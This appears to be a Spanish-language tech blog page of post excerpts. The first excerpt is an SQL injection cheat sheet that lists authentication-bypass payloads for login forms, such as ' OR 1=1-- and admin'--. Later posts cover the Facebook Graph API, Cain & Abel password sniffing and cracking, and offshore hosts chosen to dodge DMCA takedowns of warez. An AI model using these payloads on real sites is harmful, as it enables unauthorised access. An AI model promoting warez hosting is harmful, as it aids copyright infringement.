SQL Injection cheat sheet

Los siguientes “trucos” para SQL Injection son una colección de una web llamada 0x000000.com que lamentablemente en la actualidad no esta disponible, los tenía guardados por ahí hace tiempo y quiero compartirlos con ustedes:

A collection of known and working SQL vectors. These vectors are designed and tested by me on my localhost. I kept the list clean and concise tested for all MySQL versions to date unless stated otherwise. This sheet is under constant development, please come back often. Note that most of these vectors can be used on SQL server or Oracle but mainly it is written and tested for MySQL only. What I give you here is basicly everything you ever need to know about MySQL injection. You have to construct the pieces yourself and probably need to know what they do in order to use them.

Basics

SELECT * FROM login /* foobar */
SELECT * FROM login WHERE id = 1 or 1=1
SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE "%root%"

Use inside login form:

1' OR 1=1--
1' OR '1' = '1
'
''
'or"='
') or ('a'='a
") or ("a"="a
hi" or "a"="a
or a=a--
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a

Continuar leyendo…

Funcionamiento de la Graph API de Facebook

De ahora en adelante los tutoriales sobre el desarrollo de aplicaciones para Facebook estarán orientado para la Graph API, ya que gran parte de los anteriores artículos están basados en la Old REST API que aunque actualmente funciona no es recomendado hacer uso de esta.

¿Cómo funciona la Graph API?

Antes que nada hay que entender el funcionamiento de esta “nueva” API, la cual nació con la idea de simplificar el desarrollo de las aplicaciones. Básicamente nos permite obtener datos de distintos objetos como por ejemplo el objeto User o el objeto Event y las conexiones entre ellos. Esto se podría representar como una base de datos, por ejemplo si “buscáramos” el objeto user sería como hacer un select * from users y recibiríamos un array con los datos.

¿Cómo funcionan los Objetos?

[pullquote1 align=”right” variation=”green”]Los objetos disponibles actualmente son: Users, Pages, Events, Groups, Applications, Status messages, Photos, Photo albums, Profile pictures, Videos, Notes y Checkins.[/pullquote1]
Cada objeto tiene un identificador Único (ID) con el que se puede acceder a su información que sería algo como https://graph.facebook.com/ID. Por ejemplo si probáramos con mi ID https://graph.facebook.com/brianurban nos debería devolver un array con nombre, ID, genero y otros datos que son públicos, pero en caso de querer acceder a datos privados como por ejemplo el email del usuario se deben pedir permisos, explicaré eso más adelante.

Conexiones

Cada objeto está relacionado con otros, a dichas relaciones se les llama Conexiones, como por ejemplo la conexión friends o la conexión posts a los cuales se puede acceder desde http://graph.facebook.com/ID/Conexion. Las conexiones disponibles actualmente son: Friends, News feed, Profile feed (Wall), Likes, Movies, Music, Books, Notes, Photo Tags, Photo Albums, Video Tags, Video Uploads, Events, Groups, Checkins.

Como mencioné anteriormente la forma acceder a la API es enviando peticiones a http://graph.facebook.com, pero para no complicarnos la vida Facebook provee varias librerías que facilitan el trabajo. La Graph API también nos permite hacer consultas a varios objetos a la vez (multiquerys) de la forma http://graph.facebook.com?ids=ID,ID o hacer la consulta de datos específicos http://graph.facebook.com/1230140028?fields=email,name. Incluso podemos hacer un limit, imagínense lo que se podría demorar consultar todos los amigos de un usuario, suponiendo que ese usuario tiene 4.000 amigos, para ello solo haríamos un limit a la conexión friends http://graph.facebook.com/ID/friends?limit=15.

Permisos extendidos

Para obtener por ejemplo el email del usuario como en el ejemplo anterior se necesitan pedir permisos extendidos, algunas conexiones simplemente requieren un token, veámoslo en detalle:

[default_table]

PermisosDescripción
read_friendlistsAcceso a la lista de amigos del usuario.
read_insightsAcceso a los “Insights” de páginas, aplicaciones y dominios del usuario.
read_mailboxAcceso a los mensajes del usuario.
read_requestsLee las solicitudes de amistad.
read_streamPermite lectura del time line del usuario.
xmpp_loginPermite a la aplicación usar el chat de Facebook.
ads_managementAdministración de anuncios en Facebook.
create_eventHabilita la creación y edición de eventos.
manage_friendlistsEdición y creación de listas de amigos.
manage_notificationsLeer notificaciones y poder marcarlas como leidas.
user_online_presenceAcceso a la cuenta del usuario cuando esté online/offline.
friends_online_presenceAcceso a los amigos del usuario
publish_streamPermite la publicación de estados, comentarios…
rsvp_eventPermite confirmar asistencia a eventos.

[/default_table]

En el articulo conociendo el PHP SDK de Facebook hablo de como usar los permisos extendidos. Como ven el funcionamiento de esta API es bastante sencilla, teniendo en mente su funcionamiento se pueden hacer cosas fácilmente como por ejemplo publicar en el muro, crear albums… próximamente iremos viendo como hacer este tipo de cosas.

Recomendaciones al crear una aplicación en Facebook

En tiempo que llevo desarrollando aplicaciones para esta red social me he llevado algunas malas experiencias, por eso quiero compartir con ustedes algunas recomendaciones que deberían tener en cuenta cuando hagan sus propias aplicaciones:

Enviar la aplicación al directorio

Cuando la aplicación tiene por lo menos 5 usuarios mensuales (no fans) se puede enviar al directorio de aplicaciones. La clara ventaja de realizar este paso es que podemos aumentar los usuarios de la misma y por otro lado he podido comprobar que Facebook es menos restrictivo con las acciones de la aplicación. El proceso de aprobación en el directorio se demora más o menos 24 horas.

Evitar hacer uso de publicaciones automaticas

Es cierto que con las publicaciones automáticas en el perfil de los usuarios la aplicación puede crecer muy rápido, pero Facebook puede considerar tu aplicación como generadora de spam y solo sería necesario un par de horas para que te la bloqueen ya que cuentan con un sistema de detección de acciones sospechosas. Mi recomendación es que las publicaciones sean generadas por eventos realizados por el usuario, como por ejemplo al dar click en un botón, o por lo menos hacer uso de sesiones para que solo se haga una publicación automática. Continuar leyendo…

Conectar Xbox 360 a monitor

Desde que tengo el Xbox 360 siempre había querido conectarlo al monitor para así poderlo tener en mi “cueva” que es donde paso la mayor parte del tiempo y casualmente hace algunos días dándome una vuelta por DealExtreme me encontré con dos soluciones interesantes para conectar la consola de Microsoft a un monitor común y corriente. La primera es:

Cable VGA HD

Es como el cable común para conectar al TV, pero adicionalmente tiene un conector VGA el cual se conecta al monitor. Lo pueden comprar en $7.88 en DealExtreme. El cable no esta mal pero adicionalmente les recomiendo comprar este cable para poder conectar el audio a los parlantes del computador. Igualmente lo pueden conseguir en Mercado Libre o Ebay por un costo más alto (el original).

Continuar leyendo…

Cain & Abel: Una herramienta todo en uno

Cain & Abel es una de mis herramientas preferidas en entornos Windows, ya que dentro de una misma aplicación podemos hacer montones de cosas como recuperar contraseñas del sistema donde este instalado, entre ellas contraseñas Wi-Fi, de Internet Explorer, clientes de correo, Microsoft Access y más. También cuenta con sistema de crackeo de múltiples tipos hash, en el que permite usar técnicas como fuerza bruta, ataque por diccionario y ataque por criptoánalisis. Otra de sus características más valoradas es que permite sniffear redes, permitiendo obtener contraseñas en una red, grabar conversaciones VoIP, entre otras. Ademas cuenta con decodificador de Base64, VNC, Cisco VPN Client y otras pequeñas utilidades.

Descargar Cain & Abel también puedes descarga una versión portable.

El manual oficial lo puedes encontrar aquí o este otro en español.

¿Offshore Hosting?

Hace algunos meses me salí un poco de lo habitual e hice una web para un programa de televisión que me gusta mucho, pero me surgió un

The Pirate Bay

The Pirate Bay

problema:  no podía alojarla con la empresa donde normalmente tengo mis webs, debido a que el servidor esta ubicado en Estados Unidos y en este país hay muchas restricciones con respecto a la publicación de contenido que infrinja el derecho de autor o mejor conocido como warez.

Después de buscar en la red alguna solución para mi problema, encontré  un Offshore Hosting.

¿Qué es el Offshore Hosting?

Wikipedia define a Offshore como: …

“la actividad por parte de empresas con sede en un determinado país de trasladar centros de producción en otro país, donde por lo general enfrentarán menores costos en mano de obra, menor presión en leyes laborales, menor cantidad de normativas gubernamentales, reducción de otro tipo de costos, u otros beneficios cualesquiera desde el punto de vista del lucro.”

Comúnmente los servidores Offshore están situados en países/ciudades como Holanda, Panamá, Hong-Kong, Rusia, entre otros. Las notables ventajas son la menor presión  y leyes para publicar Warez,  por lo general las denuncias DMCA son ignoradas. En el caso del precio he podido ver que no es tan barato como un alojamiento normal, pero existen planes cómodos.

Recomendaciones

Tenga en cuenta que también hay algunas restricciones en este tipo de alojamiento web, como por ejemplo está permitido enlazar Warez de otros servidores pero no subirlos al propio servidor, no está permitida la pornografía infantil ni usar el servidor para enviar spam, ni alojar webs para realizar pishing.

Cada empresa puede tener sus diferentes restricciones, antes de comprar el servicio es recomendado leer los términos de uso para saber si cumple con los requerimientos de sus necesidades.

Empresas proveedoras

En lo personal solo tengo experiencia con tres empresas:

HostingWarez.com: Nunca tuve problemas con el servicio, tiene buenos precios pero los planes en cuanto a características son algo bajos. Recomendado para webs pequeñas.  El soporte es en ingles.

HostMywarez.com: Tiene planes económicos, uno de ellos es con todo ilimitado. En el poco tiempo que lo use el servidor murió varias veces. El soporte es en ingles.

DonkieHost.com: Lo estoy usando actualmente, tiene buenos planes y servidores en varios países dependiendo de las necesidades. El soporte es en español.

Otras empresas:

  • Warez-Host.com
  • Wiroos.com el que usa Taringa.
  • WrzHost.com
  • UnderHost.com

¿Qué otros conoces?

[Codiguillo] Invertir contenido de un archivo con PHP

<?php
$archivo = file_get_contents("archivo.BMP"); // Se obtiene el contenido de "archivo.BMP".
$voltear=strrev($archivo); // Se hace uso de la funcion strrev para invertir el archivo.
echo $voltear; // Se imprime el contenido del archivo inverso, esta linea se puede omitir.
$archivo = fopen ("tal.bmp", "w+"); // Se abre el archivo tal.bmp.
fwrite($archivo, $voltear); // Se escribe en el archivo tal.bmp el contenido invertido.
fclose($archivo); // Se cierra el archivo.
?>

Pedir permisos en una aplicación de Facebook

Este articulo hace parte de la vieja API de Facebook, para más información sobre la nueva API te recomiendo leer Funcionamiento de la Graph API de Facebook.

Facebook permite a las aplicaciones poder tomar datos concretos de los usuarios, como por ejemplo el nombre para dar un saludo, el ID, el sexo y entre otros. Por razones de privacidad hay datos que no se pueden obtener y para ello hay que pedir permisos al usuario. En este caso vamos a suponer que necesitamos el email y fecha de cumpleaños del usuario, al no tener los permisos veríamos algo como:

Continuar leyendo…

¿Cómo maquetar y diseñar una web?

Cuando hablamos de hacer una web básicamente nos encontramos con dos partes importantes, una de ellas es el diseño “lo bonito”, lo que los usuarios pueden ver y la otra parte son “las entrañas” las cuales realizan diferentes tipos de acciones. Aquí no escribo mucho sobre maquetación y diseño ya que no es mi fuerte, pero para quienes les gusta el tema les comparto estos videotutoriales que me encontré en la web de César Cancino.

Introducción al diseño y maquetación web

En este primer vídeo se diseña la estructura del sitio web haciendo uso de Photoshop.

Continuar leyendo…